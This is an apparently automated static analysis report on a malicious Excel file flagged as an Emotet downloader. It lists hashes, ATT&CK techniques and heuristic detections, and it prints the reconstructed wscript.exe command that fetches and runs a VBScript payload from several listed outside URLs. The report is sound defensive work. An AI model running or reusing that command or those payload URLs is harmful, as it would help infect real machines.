Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 7199d455f31cc14e…

MALICIOUS

Office (OLE) / .XLSX

129.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 5fc5ecc918ed0bb2124f6dd990fd5e1f SHA-1: 2199a4e9a2a89bd028194a265a69b5361344bbc8 SHA-256: 7199d455f31cc14e23b86d01b56862d8a83b8e0563cf1f552a20fdffdc266fff
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Excel document containing an obfuscated VBA macro loader. The macro uses `CreateObject("Wscript.Shell")` to execute a command that downloads and runs a VBScript payload from a list of URLs. The reconstructed command line is `wscript.exe -e "http://santatortillala.com/_baks/tUX9/http://donbaham.com/Home_files/YS0PazXyerase/,http://barnhart-studies.com/eln-images/vggh1nb/ ,http://blut.com/3Dtech/jLu8IAnnj3gK9WC/,http://zenzebra.net/plath/9Q0DBLE/,http://realacorp.net/PhotoGallery/Uw mRHceSGbaCeGF/,http://miniflam.com/eln-images/fSwbQjUMAfGdgdw/,http://marezdecor.com/MarezGallery/SEQxWtpMJ7A8rtYDO/"`. This indicates a downloader functionality, aiming to fetch and execute further malicious content.

Heuristics 7

  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • ClamAV: Doc.Downloader.EmotetRed02220-9938909-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02220-9938909-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
7a075e02dc1e88807280b9b84946715e79a3c091d50391301434649c77b78ea1		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12808 bytes

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